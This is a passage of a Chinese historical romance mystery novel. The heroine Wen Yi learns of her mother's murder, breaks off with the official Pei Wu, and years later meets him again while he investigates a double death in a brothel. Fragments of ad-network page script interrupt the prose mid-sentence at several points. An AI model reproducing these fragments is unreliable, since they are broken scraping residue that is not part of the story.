温以将短剑系上腰间,侧着身子在铜镜前看了又看,念叨了几遍昨日写的信,担忧地转头问道: “青虹,你说我是不是写得太简单了。裴误他对明河县城不熟悉,该不会认错地方吧?” 青虹如实回答。 “小姐,城中只有一处石桥,裴大人不会认错的。” “那我是不是不该写这信的,这么些日子都只会送证据、送点心,他会不会根本不想见我?” 青虹难得打断她的话道: “裴大人求之不得。” 温以垂眸弯唇,倒是没再多问,只是在镜前左右看着,话里满是遗憾。 “若不是要翻院墙,今日该穿去年生辰阿爹送的那条襦裙才是。” 她拍了拍袖角,暗红色的劲装贴合着少女初显玲珑的身段,衬得她雪肤玉肌,眉眼动人。 镜中人杏眸中满是忐忑甜蜜的神色,反而让少女的灵动中多了些成熟的气韵,青虹一时间也看得晃了神。 温以检查完腰间的短刃,拿起妆台上的檀木佛珠,转头便看见青虹愣住的神色。 耳根泛起清浅的羞意,她作怪地抱住青虹撒娇: “阿爹那处就拜托师姐啦!千万替我瞒住,不然阿爹定要又禁我一月的足了。” 一月后便是府试,李元身有功名要去赶考,他们若是不能在此前找出确切证据,便无理由拦他继续待在明河县了。 “我还得查案呢,师姐你可千万替我瞒好!” 青虹无奈 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 地推开她,反驳道: “夫人后日便回来,介时小姐您一撒娇,老爷哪禁的了您的足?” 听到阿娘的消息,温以眸中的笑意更深,赞同地点了点头,便屋外跑去。 刚跑出屋门,迎面便撞上了张员外。 张员外向来不苟的发此刻显得有些凌乱,眼角的细纹更深,鬓角的发一夜间花白了大片,形容枯槁,像是一夜间苍老了十岁不止。 温以猛地顿住脚步,暗红劲装的衣角拐了半圈,落回原处。 她今日特意上了红妆,原本稚嫩的脸庞被脂粉盖去三分稚气,眉眼间更像故人。 一张与她八分相似的脸庞闪过张员外的目前,少女捧着令牌的模样恍在眼前。她那时亦是怀着满目的欢喜跑到他跟前,坚定地道: “阿兄,我要留在这里。” “我得留在这里帮他。” 脚下被石阶绊住,他扶着廊柱流下清泪。 “安娘。” 他唤了温以的乳名。二字敲在温以耳边,仿如一记鸣钟。 温以唇边的笑意一瞬间消失得一干二净,伸手扶住流泪的阿爹,她发白的唇瓣颤抖着试探道: “阿爹你怎么了?” 心间涌起一股浓浓的惧意,似乎怕听到张员外的回答,她不停地摇头道: “安娘不翻墙走了。安娘往后都会听您的话,您让我禁足多久便是多久。” “过两日,便是过两日我阿娘来了,安娘也绝不朝她求情痴缠。” 张伯眸中弥漫着哀恸,他伸手温柔地抚着温以的墨发,她这一头乌黑浓密的发便是随了她阿娘,漂亮极了。 “安娘,”他的声音极轻,“你阿娘她来不了。” “阿娘是又被要事绊住了吗?” “安娘已经长大了,不会再胡闹的。只要她明年记得来看我便好。” 温以隐隐猜到张伯要说什么,可还是不愿意相信自己的直觉,她掏出怀中的帕子递给张伯,自己那张精心描了半晌的芙蓉妆面上却流下泪来。 她极力克制哭腔,泪水滴落在暗红的衣料上,仿佛一朵朵绽开的血花。 “你阿娘她不会再来看你了。” “京城传信,楼中混入了杀手,你娘身中数刀,已经去了。” 隔墙之外的街市已经到了出摊的时辰,外头逐渐传来芜杂的喧闹声。温以的世界却瞬间陷入无声的沉寂中。 耳边冗杂的声音全部化作嗡鸣,刺得她的泪水不受控地滴落。 泪水糊了眼,娘亲温柔的脸庞朦胧间出现在眼前,可下一瞬,一把尖锐的长刀却从她身后贯穿而出。 “我们安娘明年也要及笄了,阿娘给你准备了一支最漂亮的簪子。” “到时,娘肯定要亲手给你簪上,再看你找一个如意郎君,快快乐乐地过一生。别像娘一样,被困在四方的京城中。” 阿娘在信中说的话她一字一句记得清晰,可阿娘这次却食言了。 温以蹲坐在廊下,泪水打湿了半片衣襟。张伯抚着她的发,抱着眼前这个哭得仿佛天已坍塌的小姑娘落下泪来,就像十年前在倚红楼后门牵起她的小手,带她离开那座金玉城池。 可这一次,坍塌在眼前的不止是她的天。 16. 两宽 春月多雨,何况是江南。 石桥下浅波如镜,映照着月白的天色。长柳吹落到湖上,被风吹动着荡了几回,擦着湖面而过。 雾色朦胧,桥边的人家在门前挂了连串的红灯笼。石桥在水中波动着,横斜着拦断了灯笼浅红的倒影。 桥上白衣落拓的公子深眉星目,长身伫立,他没有用往常管用的发带,而是换了一枚玉质温润的玉冠。 裴误站在青白的石桥上,白衣澜衫。 桥上来往的人渐渐多了,他站在人流中往桥下垂眸看去。 朝食摊子缕缕的炊烟、孩童的笑闹,桥下人影波动,往来的身影中却没有一个是他寻找的。 日头渐渐升起,天光大亮,竟下起了牛毛般轻细的雨丝。 裴误退在桥边,撑着一柄油纸伞。 他压低了伞檐,伞缘下的鼻梁挺拔、薄唇红润,端是如玉君子。 温以失了魂般走在长街上,抬眼便认出了桥上人。 他本是极清正的样貌,那双含着薄霜的星目下却缀着一点嫣红的泪痣,平白多了两分格格不入的邪气。 “小姐,您先回去休息吧!” 青虹看不得温以这般失魂落魄的样子,拉住她的小臂劝道: “裴大人那边我去解释便可,咱们没带伞,这雨也不知何时能停。” 温以那身暗红色的劲装已被细雨裹着打湿,衣襟未干的泪痕晕开,分不清是泪还是雨水。 “青虹,”温以轻柔地拨开青虹握着她的手,笑中苦涩。 “我想见他一面。” 她抬眸,视线追随着桥上那抹青竹般的身影。步子渐快,朝桥上去。 行至桥下,还未迈上石阶,眼前便出现一双漆黑的皂靴。 温以侧身避开,眼前的皂靴的主人一动不动地站在原处。 她蹙眉抬头,眼前的男人眉目陌生,一身货郎打扮,挑着货担堵在她跟前。 “温姑娘,温姑姑去的突然,我日夜兼程,才从京城赶来。” 他唤的是娘亲的后辈所唤的称呼。 “主子命我定要见你一面。” 她眼眶通红,一看便知也是才得到京城的消息。那人抿唇顿首,叹气道: “温姑娘,节哀。” 温以的目光越过他,看向他身后。 裴误站在桥上,目光落在她被打湿的衣衫上,眸色担忧。 隔着朦胧烟雨,她眼角微红的颜色也变得朦胧。裴误怀疑着自己的眼睛,还是忍不住忧心。 她连伞也没有带,一身红衣已被雨丝裹挟得湿润。 江南的年节前后的雨水最寒,丝丝缕缕都是彻骨的凉。他撑着纸伞抬步,不自觉加快了脚步朝她而去。 温以对上他的目光,那串宽大的檀木佛珠在腕间转了个圈。 他抬步的瞬间,眼前的男人焦急地催促道: “温姑娘,此事牵扯到温姑姑的死因,事不宜迟。” 耳边的催促将她拉回现实,温以偏开头道: “您带路吧。” 暗红的身影跟在货郎身后离开了桥边。 裴误在人群中穿行几步,只能眼睁睁看着她离开。正要拨开人群追上去,抬眸间对上她那双含着波光的杏眸,忽然无力地顿住了脚步。 她摇着头启唇,无声地道: “别跟来。” —— 这场连绵的细雨从辰时下到了日暮。 桥边的垂柳被雨水洗刷,绿意更浓,桥下早开的花遭了这样连绵的灾,瓣瓣消磨在叶下的黄土中。 “周公子,您去劝劝大人吧。” 十一隐在树后,望了一眼渐沉的红日,忍不住开口。 “都日暮了,温小姐应是不会来了。” 周肆踢着桥下的小石子,叹气道: “我可劝不了裴兄。” “我看张员外一家都处处透着古怪,裴兄当局者迷,不愿深想罢了。” 他沉了口气,望向那抹红日下的人影。 橙红色的江面映着少年撑伞独立的人影。桥上的人来了又走,雨势不减,他仍撑着那把纸伞站在雨中。 再是撑着伞,到底站了一日。肩侧袍角已被雨丝打湿,靴上沾了落叶,裴误还是早间那般打扮,却不像早间那般如金石白玉,多了些颓丧。 垂首叹息,如玉山之将颓。 手中的纸伞被斜了斜,春水中倒影波动,女子红衣凌然,从桥下一步步走至他面前。 “以以。” 裴误立时迈近一步,纸伞挡住少女头顶的落雨,他握着伞的手不觉颤抖。 意识到纸伞轻晃,他指节一拢,使力的瞬间手背上青筋顿现。 “你怎的不带伞便出门了?” 他问得仿佛早间事情并未发生,温以此刻不过如约定而至。 可伞下的少女却退开半步,平静道: “我不是说了让你走吗?” 裴误见她避开纸伞,索性收了伞陪她站在雨中,唇边却还是好脾气地挂着笑。 “以以只说不让我跟来。” “我自然要继续等着。” 他细细查探她眼下,却并未看早间通红的眼眶留下丝毫痕迹。 “若是你来,我不能让你找不见我。” 温以鼻尖一酸,神色冷漠地偏头,话里满是不耐。 “今日见也见了,你便回府衙吧。” “裴大人最好还是对夫子的案子上点心,否则我那五百两银子也不是那么好拿的。” 她话里冷漠裴误不是没有察觉到,听她如此说,还以为温以是气他一整日耗在这儿,没有去忙王氏的案子。 “我已安排人手去查探了,除了给你的檀香佛珠,还有别的证据在追查。” “你放心,李元逃不了。” 他语气急切,像是急着跟她解释。 温以仍是垂眸看着粼粼春水,没有分给他丝毫的目光。 她怕看一眼,便会狠不下心了。 “那便好。” “裴大人若无事,我便先走了。往后有事只管往员外府递信便好。” 温以急迫到有些狼狈地转身。 裴误一把拽住她的手腕,想起她不喜欢他这般,又试探地去牵她的手。指尖刚刚触及她柔软的掌心,就被她一把甩开。 “裴大人请自重。” 温以像是受到惊吓般将手藏到身后,皱眉时眉目间满是厌烦。 她表现得像是全然失去了前阵子的记忆,更像是全然忘了他。裴误心中一宕,一股空荡的怖意弥漫开来。 “以以,你可是在生我的气?” 他不敢再与她拉扯,话里小心翼翼,又盼她能嗔一句是。 “既然裴大人听不懂,民女便只好敞开了帘子说话了。” “前事还望裴大人莫要放在心上,民女想 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 过了,四方后宅不是民女所希望待的地方。” 裴误松了口气,释然地笑道: “那自然也不是我想让以以待的地方。” 温以顺着他的话点头。 “那往后我们便书信联系,直到案子查清。” “此后,便不必再见了。” 她话落时转身地较之方才更加利落,转身的瞬间,夕阳映照在她含满泪水的眸中。 “以以,这是坊间最新时兴的玩笑话吗?” “你放心,我最是禁得起玩闹,不会放在心上的。” 裴误闪身拦住她的去路。 他兴许不知道他此刻脸色惨白,眼下那枚嫣红的小痣夺目,如同一枚血泪。 唇角的笑,任是谁都能看出僵硬的意味。 “裴大人非要我说得如此清楚吗?” 温以也不再用方才的谦称,抬眸看他时眸中已是一片清明。 她盯着他忐忑的眸,一字一句如同刀刃般狠狠扎在他心上。 “裴大人一则家境贫寒,我不愿随你过拮据的日子;二则踏足官场,我更不愿随你困在四方宅院中。” 红衣翩迁,她抬步贴近他面前,语气柔和下来,话却依旧残忍。 “你便当这只是一场梦吧。” “一别,两宽。” 雨滴落在他脚边,溅起桥面上浅浅的积水,打湿了鸦黑的鞋面。 裴误脑中不合时宜地想—— 江南的雨水果然寒凉。 隔着鞋面,他便感觉到透心的冰冷从脚边蔓延。风刺骨的寒凉。 温以从他身侧离开,擦身而过,步步走下了石桥。 裴误摊开的掌心中放着一串檀香佛珠,他的目光紧紧追随着少女离开的背影,生怕错过她分毫迟疑的动作。 可是没有,她一次也没有回头。 他从未想过,她与他说的最后一句话竟是那般公事公办的: “这檀香,就是我那日闻到的味道。” —— 绣鞋踏上木梯,跟前的男人脚步声钝重,细小的脚步声瞬间被淹没。 温以裹紧了身上那件兽毛披风,踮着脚专心注意着步子。 他的披风太长,拖在身后总还是免不了沾上尘灰。 罢了,大不了她洗净后再还给他。 温以卸下费劲提着披风的力气,偏头间,鼻尖萦绕着一股淡淡的雪松味。她悄悄地深吸鼻息,这香味果然是来自身上的披风。 他竟也开始用熏香了。 她不防有些错愕。 “温姑娘这是不愿意带路?” 察觉到她落后,裴误忽然回头冷声问。 “指挥使大人说的哪里话?” 他的脸如此熟悉,声音中的冷厉却是她所不熟悉的。温以只是轻愣了一瞬,便扬起笑圆场。 “我这便带路。” 不该在他面前如此自称,她却像是妄想着借此保留最后一丝尊严,加快脚步迈上楼梯。 裴误侧身给她让道,经过他身侧时,垂落的披风绊住绣鞋上的珠串。 转角间,竟绊住她的腿弯。 温以瞬间失去平衡,接连而来的变故本就让她疲惫至极。她下意识拽住身侧的手。 腰间撞上冰凉的刀柄,一阵钝痛。 肩侧被一只炙热的手扶住。 她眼前绯红逐渐放大,撞入一个熟悉而陌生的怀中。 17. 两相试探 原本清淡的雪松香靠在鼻尖。 夹杂着他炙热的体温,这香味竟多了些侵略的气息,瞬间包裹住温以。他的手心的温度隔着单薄的寝衣传到腰侧。 熟悉的拥抱麻痹了她的神经,她纵容脚腕的刺痛,抵着裴误的胸膛站稳。 三年未见,他原本清瘦的的身形也变得更肌肉紧实。 隔着他绯红的飞鱼服,温以也能感受到他块块紧实的肌肉。 腰间的手骤然松开。 顺着力,她从他怀中被推开,身形不稳地退了半步,后腰抵在木制的栏上。 腰上被他刀柄撞过处传来钝痛,温以不自觉地蹙眉。 “温姑娘,请自重。” 脑中的弦啪地一声断裂。 她顺着眼前绯红的飞鱼服看向他的脸。 那双厌烦闪躲的眼睛虽熟悉,终究不是三年前的了。 “民女无状,请指挥使大人责罚。” 裴误的目光从她轻蹙的眉头往下,在她腰间停留一瞬,没有出言。 指尖残留的温度渐渐退散,被他背到身后。 见他目光流连,温以以为他是在看他的兽毛披风,顾不得那已经沾满灰迹的衣角,伸手去解颈间的系带。 “大人的披风。” 她就要脱下肩上披风,余光忽然闪过一道刀光。 绣春刀擦过她的裙角,几寸衣料簌簌落地。 他握着刀柄将刀锋藏回刀鞘中,温以身上那件兽毛披风被他斩落了拖在木阶间的部分,变得合乎她的身量来。 “穿着。” “我留着已无用。” 他收了刀,示意她带路。 温以忍着痛走了几步,脚踝处的伤并不严重,便加快了脚步。 花魁牡丹的屋子在二楼的折角处,还未走到她门前,空气中便隐隐弥漫着一股血腥味。 越是向前,血腥味越是浓烈。 直到在牡丹门口站定时,温以才看见那血迹已经沿着床榻流到了屋门口。 过了一夜,那粘稠的血液已经有些泛黑。 她今日天未亮时才从鬼公口中得知命案的事情,现在亦是第一次看到案发现场。 屋门大开着,牡丹的屋子算不得大,一眼便能看见全貌。 榻上的纱帐松散地垂在床侧,有风从那半掩的窗子吹进来,毫无节律地吹动着窗纱。榻上的男人身形苍老瘦弱,大片暗红的血迹从床榻上蔓延下来。 “榻上是何人?” 裴误避开地上血迹进了屋子。 梁上孤零零地挂着根白绫,牡丹穿的并不是昨日那件桃红色的舞衣,而是一件规规矩矩的杏色襦裙。 她挂在白绫上,背对着屋门。 长久的时间里,并无人将她放下来。 温以以袖掩鼻,恭敬地垂下视线道: “是位姓王的大人。” 裴误触及纱帐的手一顿,回头看见她恭敬的样子,玩味道: “你竟不知他的身份?” “正三品吏部侍郎王义守。” 裴误伸手拽开纱帐,垂眸盯着榻上人青紫的脸。 “帐里的这位王大人可是常客。” 温以恭敬地回道: “回大人,来这儿的即便是常客,也都不愿表明身份。民女的确不知。” “您也知道倚红楼是什么地方。” 他分明是不信她的话。温以还以为他定会追问一番,没想到他却没再回答。 裴误转身扫视屋中物件,视线触及挂在梁上的女子,偏头吩咐道: “将她先放下来。” 时间已久,牡丹的身体僵直而惨白,手上那暗红的血迹便显得更加显眼。 王大人的胸膛处捅着一柄样式普通的匕首,牡丹就吊在床榻外两步处,盖着桃红凳布的木凳翻倒在桌边,那匕首鞘也丢在凳边。 眼前形势一目了然。 “最先发现命案的是谁?” 另一锦衣卫打扮的男人押着龟公上前,推着人答道: “大人,是他。” “不是小人做的,大人,小人生性胆小,一向是良民,绝对做不出杀人之事啊……” 龟公抖着身子,声音中满是惊恐。 耳边尽是恐惧的辩解声,裴误听得厌烦,不耐地打断他的话。 “你只回答我一件事,你进来时,这门窗可是开着的?” “合上的!是合上的!” 龟公恨不能竖着手指发誓给他看,咽着唾沫解释。 “这窗是小人开的,小人进来时天还暗着,这是为了借天光。” “若是知道里面死了人,小人就是闻到再奇怪的味道也不会进屋子的。” 一间紧闭着门窗的屋子里死了人,楼里的姑娘和客人一个刀伤、一个自尽。 最合乎情理的解释便是牡丹杀了王大人,随后畏罪自尽。 “大人,此事绝不是牡丹所为,她与王大人素无仇怨,王大人出手阔绰,她何苦杀自己的恩客呢?” 温以显然也意识到了眼下的情形如此。 若是顺着情形将牡丹定为犯人,倚红楼即便能被太子殿下保住,也不会再有客人敢上门了。 “这里何时轮到你插嘴了?” 裴误身边的下官皱着眉训斥。 裴误侧目看了他一眼,冷声道: “你看出什么了。” 他知晓温以的细致的观察力。 为了保住目前的倚红楼,她应是站在找出真相的战线上竭力破案才对。 温以闻言,迈步进了屋子,在牡丹身旁蹲下,伸手查看她腰间的衣结。 “大人,这衣结打得杂乱,像是根本不会穿这般样式衣裙之人所打。牡丹绝不可能打出这样的衣结。” “这算哪门子证据?” 那下官插嘴道: “若是她杀了人,心中慌乱,一时之间打出乱些的结也属正常。” 温以没理会他的质问,翻了翻牡丹的衣领。 牡丹那张娇艳的脸此刻惨白发青,昨日动人的红妆显得可怖起来,嫣红的口脂也擦到了唇角之外。 颈间的勒痕暗红,温以却隐隐看出了两条勒痕的印记,虽然几乎都重叠在一处,还是有着细密的不同之处。 她翻开牡丹沾着血迹的手。 那染着蔻丹的指甲缝中竟然藏着半截粗黑的发丝。 “大人,这发丝!” 榻上的王大人早已年过半百,发丝尽白,就连那手掌长度的胡须都是全然的白。 可牡丹手中的藏着的发丝分明是黑色的。 “牡丹也许是被人勒死的,她也许死在王大人之前,还需仵作验尸判定。” “大人,恳请您彻查真相,还牡丹一个清白。” 温以站起了身,缓步站定在他面前,福身请求。 裴误垂眸看向她依旧妍丽的脸, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 这三年,她眉眼间的稚气全然褪去,取而代之的是更加致命的风情。 记忆中她也曾拽着他的衣角这般恳求他查明一桩案子,只不过那时她的杏眸中满是泪水,悲伤、哀痛的情绪全都外露地展现出。 而今日,她那双相同的杏眸中只有坚决,再无动摇与惧怕。 她一垂头,右侧额旁厚重的碎发垂落下来,露出了右额上那道半指宽的伤疤。 “圣上派本官查,本官自会彻查。” 裴误的语气还是往常的冰冷,可温以听出他的声音带了怒意。 许是嫌她这一句多管闲事了吧。 “即日起,倚红楼所有人都待在楼中不允外出,案子水落石出前,不得有任何人进出这里。” 他的吩咐一出,跟在他身后的手下们便纷纷行动起来。 其中几人出了房中,朝一楼余下的锦衣卫传达上官的命令。 “大人,这间屋子要封无可厚非,可倚红楼中闲杂人甚多,怎能将所有人困在楼中?” 温以蹙眉阻拦,楼中还有许多客人未曾离开,个个都是朝中的官员。 锦衣卫封了倚红楼,她要在裴误的人眼底向主子传消息只会难上加难。 更别说楼下的官员若是全都被困住,明日早朝少了这许多人,即便他是锦衣卫指挥使,只怕也难逃责难。 “锦衣卫办案,温姑娘可是要阻拦?” 裴误挑眉轻笑,眼角那颗朱红的泪痣鲜活起来。 他原来甚少穿艳色,更是从未穿过大红。这两年在京中他的脸反倒是瘦削了,下颌的弧度更似刀刻般凌厉。 温以抬头盯着他的笑,竟读不出他挑眉之下的心绪。 “民女不敢。” 她话音方落,大门外便传来一阵喧闹声。 房门外的锦衣卫回头朝前堂看去,只瞧见一道模糊的男子身影进了楼中。 木梯处传来嘈杂的人声,只能零星听见“大人”、“可算来了”、“欺负”几个字眼。 楼下的姑娘们似乎许多都认得来人,见他行至木阶下,侍候温以的婢女蕊秋忍不住急切道: “李大人您可算来了。” “锦衣卫行事粗鲁,您不在,姑娘可受委屈了。” 兴许觉得有人撑腰,蕊秋言语中都有些失了分寸。 被叫做李大人的男子身着青衫,腰间缀着一块暖玉,闻言加快了脚步。 裴误闻声侧目,门前的男子身形单薄,一身青衫更显得气质温润。 那张清俊的脸庞他再熟悉不过,却从未想到过会出现在这里。 “阿以。” 男子的视线掠过屋中众人,落在温以身上,唇角牵起温柔的笑,目光柔和的爱意任凭是个瞎子也能看得出来。 “你怎么来了?” 温以转头看去,李元穿着寻常衣衫站在门口,见她开口,便朝她走来。 温以蹙眉,想不通他一个吏部郎中,门口的锦衣卫竟不拦他? “我不来,是要眼睁睁看着你受委屈吗?” 李元话里满是关切。 裴误冷眼看着面前的一切。 她的语气并不像第一次在京中见李元,显然二人的关系也不像三年前那般剑拔弩张。而李元的态度,更是暧昧。 受委屈吗? 他的目光定格在温以额角杂乱的发丝间。 他倒不知道,他何时有这般大的能耐,能让她受委屈了。 18. 两声冷语 青衫郎君语含疼惜,目光柔软地朝衣衫单薄的女子面前走去。 而女子柳眉轻蹙,美人愁目。落在裴误眼中,便是在担忧他愤愤地为她出头,会受到什么牵连。 当真一幅郎情妾意的动人画面。 裴误心中冷笑一声,视线落在温以紧攥着披风的指间,从她微红的指尖掠过。 “我受委屈……”与你何干? 温以蹙眉,原想直接了当地反问,察觉到裴误的目光,神差鬼使地咽下了后头的话。 “李大人哪里话,锦衣卫办案公正,哪有受委屈一说。” 她的话似乎刺伤了那青衫公子。李元神色暗淡地走到她身侧,伸手去抚她的发丝,却被温以偏头躲开。 “阿以还是不肯信我吗?” 他收回手,面前忽地多了一袖绯红的衣衫。 裴误伸手横亘在二人中间,眸色玩味,冷声道: “李郎中想叙旧,还是另挑时候。” “她乃证人,此案还未查清,”余光瞥见温以朝他身侧动了半步,裴误放下手, “李郎中如此,本官难免怀疑此举是在串通消息。” 李元收起黯然的神色,拱手道: “指挥使说笑了,圣上派我来监察此案,本官自当配合锦衣卫查清真相。” 监察? 温以的目光扫向床榻上死状狼狈的王大人,瞬间联想到了其中关节。 李元这是要接任王大人的位置,升任吏部尚书了。 在场想清楚此事的不止她,裴误明白,除了借查此案升任,圣上此举派李元前来,更是要他明目张胆地分他的功。 案子查得清,李元有一份功劳;查不清,他顶多是检查不力,裴误终归是要担骂名。 “老师去得突然,本官今日前来,亦是想要接他归家。” 聪明人说话,自然无需多言。李元掸了掸衣袖,正色请托道: “还请裴大人体谅本官为人弟子的心情。” 从进屋到此时,李元一眼也未曾关切过尸体如何,此刻倒来说为人弟子的心情。 好个翩翩有礼的小人。 裴误心中嗤笑,薄唇吐出拒绝的二字。 “不可。” 他身侧的指挥同知打着圆场,话里却没多少客气。 “仵作还未验尸,命案从无先将尸体带走下葬的道理。” “李大人可有天子应允?” 裴误拒之时,李元尚无多少反应。反是那罗同知语罢,李元面色一沉,拂袖道: “圣上事忙,为人臣怎好以此事打扰。” “裴大人不肯,本官等案子结了便是。” 蕊秋跟着李元进屋后便站到了温以身后,见李大人请托被拒,忍不住与温以低语道: “裴大人未免无情了些,李大人想早些安葬老师,也不过人之常情…” “蕊秋!” 温以侧目,冰冷的神色让蕊秋瞬间停了嘴,低下头不再多言。 裴误是习武之人,二人的话一字不落地落入他耳中。 当年她夫子的事情,她尚且能这么快对“嫌犯”释怀,他这点无情在她眼中当然算不得什么。 “封了醉红楼,在朝为官者若要离开,须得签字画押、登记在册。其余人,无事不得出房门。” 话落,裴误一个眼神也懒得停留,离开得利落。 “是,下官这就去安排。” 罗知同应声,便跟着裴误转身出了房门。 行至门口,裴误迈出门槛半步,忽然停了脚步回头。 “李大人还有事?” 本朝官员虽未明令禁止不准出入烟花之地,但李元一介清流,若是传出去逛青楼的传言,多少有损官誉。 他意有所指,李元自然不接茬。 “裴大人说笑,本官亦是正要离开。” 李元转头看向温以,打从一进门,他便看出她身上的披风乃是男子样式。 “阿以莫要为此事操心。” 他伸手掖了掖她颈侧的兽毛,温以不防他忽然的动作,原想侧头避开,脸颊却擦着他的指尖而过。 “天冷,莫要受寒了。” 温以没有回答,她下意识垂眸,目光追着屋门口而去。 门外连一片衣角也不见,哪还有裴误的身影。 —— “大人,苏贵妃又差人送了两箱字画。” 阿石拿着一叠信笺站在桌案下首,每说一桩事,便用扯出一张信笺放到面前的火盆中。 火苗跳动着吞噬墨字,每一桩,裴误都要亲自看着化为灰烬才安心。 “贵妃娘娘还是不懂本官的喜好。” “阿石,差人告诉苏丞相,本官是个俗人。” 苏贵妃身为后宫妃嫔,自然不能明目张胆地给臣子送礼,自他坐上了锦衣卫指挥使的位置,苏贵妃就每月借着她爹苏丞相的手给他送字画。 拉拢的意思很明显,只可惜她用错了力。 书画哪有金银来得实在。苏贵妃入宫三年,还是天真的紧,还当他是三年前那个大理寺的毛头小子打发。 阿石似乎想说些什么,神色欲言又止,却被裴误打断。 “下一桩。” 一张信笺飘入铜盆中,瞬间被火苗吞噬。 “醉红楼一切如常,就是温老板她…” 听到温以的消息,裴误笔尖顿了顿,须臾之间便继续写着折子。 见他神色未有波澜,阿石硬着头皮老实道: “就是温老板似乎有些焦燥,似乎是在等什么人。” 烟花之地的女子,还能等什么人? 阿石说得委婉,但心中也理所当然地认为温以这是在等一位常客。兴许这位客人身份还不低,才让她如此挂怀。 可即便十一简简几句带过,他也能看出大人对温老板的不同。 这几年,大人看似转了性子将江南的事都忘了,可关于温以的字字句句,从来都是裴误的禁忌。 “都是下面的人胡乱猜测,做不得数…” 阿石找补得拙劣,锦衣卫不养闲人,会如此说,自然有所根据。 “啪—” 裴误手中的竹笔断裂成两半,沾着墨的笔尖横滚过他面前的折子,毁了大半狷狂的字迹。 他神色漠然,抬手取了笔架上另一支样式相同的竹笔。那两截断落的竹笔连同写了一半的折子,都被他丢弃入火盆中。 火苗噼啪作响两声,不久便成了一团灰烬。 “结案前,醉红楼任何人不得出入。” “往后此类消息不必向报上来,你过目筛选便可。” 阿石应承着点了点头,十一忽然翻窗而入。 “大人,膏药找来了。” 瓷白的小盒被十一放在桌角,发出一声清脆的响声。 裴误眸光偏向瓷盒片刻,冷声道: “拿走。” 十一闻言一愣神,他冰冷的脸色看得十一心中一阵发慌,胸口处捂得温热的胭脂忽然变得灼热起来。 疑心裴误是知道了他借机给春柳买胭脂的事情,十一心中一阵心虚,迟疑道: “主子不要了吗?” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 白瓷质地温润,白净滑润的在裴误目前闪过。 眼前克制不住地闪现李元指尖触及她脸颊的画面。她毫无躲的意思,甚至还仍由李元为她掖紧他的兽毛披风。 若李元便是她说的阔绰又不将她困在四方宅院之人。 那她的眼光,还真是够差的。 刺目的画面刺激着他的神经,裴误放下手中的竹笔,将那只瓷盒拿在手心把玩。 “留下吧。” 十一尚未回过神来,面前便只见裴误半片袍角划过。 “我出去一趟,今夜不必轮值。” 烛火照着屋内愣神的兄弟二人,十一与石头相视叹息。 大人这次,不知是否又要再栽一次。 裴误书房中尚还是灯火通明,这厢温以却是解了衣带,披着外衫吹灭了灯。 月光沿着窗台倾泻而入,床榻一侧的木架上挂着一件宽大的兽毛披风。 兴许是他的绣春刀着实太锋利,披风末竟毫无勾丝。 温以的目光定格在袍角的一处两指宽的污迹上,蹙眉蹲下身子查案。 甫一弯身,腰侧便传来一阵钝痛。她伸手将那污渍处捻起,借着月光,才看出原是一片酒渍。 想来是堂中混乱,不小心沾上了。 指尖摩挲着衣料,她脑中不断回放着白日的事情,思绪混乱,就连一头青丝从肩头垂落,半扫在地上,都丝毫未察觉。 目光偏移半寸,骤然察觉披风边的一角黑影。 温以肃神,眉间闪过一丝不耐,指尖抚向绣花鞋面。鞋面上那团紧簇的从花中闪过一丝银光,赫然是细密的针尖。 那黑影仍在原处,温以蹲久了,腰间的顿疼愈发强烈,蹙眉捏紧了手中银针。 “温姑娘这是在等人?” 身后传来熟悉的声音,她瞬间卸力,防备未曾全部褪去,心中却忍不住泛起隐秘的窃喜。 裴误伸手将她半扫在地上的发揽起,方才从她窗边的状台上顺手拿了支簪子。不过几息之间,便绾好了一个最简单的女子发式。 温以垂眸看见他揽起青丝的大手,才叹他的细心终究没变,就察觉他绾发的动作意外地熟练。 “裴大人子夜到此,有何要事?” 她今日累极,不止腰间,脚踝处也有扭伤。身体疲乏,心亦是如此,也懒得笑脸相迎。 月下的女子卸了红妆,发丝挽起,额角的伤疤便毫无遮挡地显露了出来。她此刻面无情绪,声音亦是不如白日热切。 冷淡的态度,就像是等来了不该来之人,失落之下无暇招呼。 温以回头的神色太过冷漠,裴误抚着她发丝的手一顿,收了回去。 原想拂袖离开,目光触及她眼下的乌青,心尖没由来地一软,脚尖便变了方向。 “脱了。” 他的声音亦是冷淡,话里的意思却让温以愣神。 小腿处一阵酸麻,她僵着身子抬头看他,却只能看到他轮廓锋利的下颌,神色全然隐在月色的暗面。 “大人说笑……” 温以牵出一抹勉强的笑意,圆场的话一出口却再次被他打断。 裴误这些年寡言惯了,一开始并未察觉自己话里的不妥,直到看见她唇边那抹僵硬的笑,才意识到自己所说。 可温以的反应让他心中无名之火愈燃愈旺。 怎的旁人等得,轮到他,便是说笑了? “脱了。” 裴误眼底冰冷,垂眸看向她单薄的外衫,一字一句地重复道: “温姑娘,本官让你脱了。” 19. 两扇夜风 月色凛冽,他冷硬的话如同密林中尖锐的丛叶,细细密密地划伤在温以心间。 她唇角的极力维持的笑意终于碎裂,枯叶似地无声碎落。 “大人是朝廷命官,不怕有损名声吗?” 话一出口,她就察觉到自己话中纰漏。果然,面前袍角翻动,那双黑色皂靴又往她面前逼近一步。 “温老板抬举本官了。” “本官竟不知,本官还有名声这东西。” 裴误的声音带着讽刺的笑意,似乎认定她这话是故意而为。 锦衣卫行事残忍,耳目遍布朝堂市井。不同于大理寺与吏部事事讲求证据,事由若是交到锦衣卫手里,要如何不过是圣意使然,或是他裴误的一句话。 其中更以指挥使裴误的名声最臭。 自他进入锦衣卫以来,步步都踩着血案上任,还在知同一职上时,便有“玉面阎罗”的诨名。 “温姑娘倒是说说,本官要保住的,是怎样的名声?” 贪财无度、贪恋美色,抑或是手刃有提拔之恩的上官升任锦衣卫? 温以抿唇揉着脚腕,并未理会他的问题。 他想必只是兴至捉弄她一番而已。真正引他前来,恐怕是锦衣卫的探子传给他的消息。 今夜她的确有些沉不住气,醉红楼被查封的事情太大,对殿下行事必然牵扯颇多。她必须马上将详细消息传递出去。 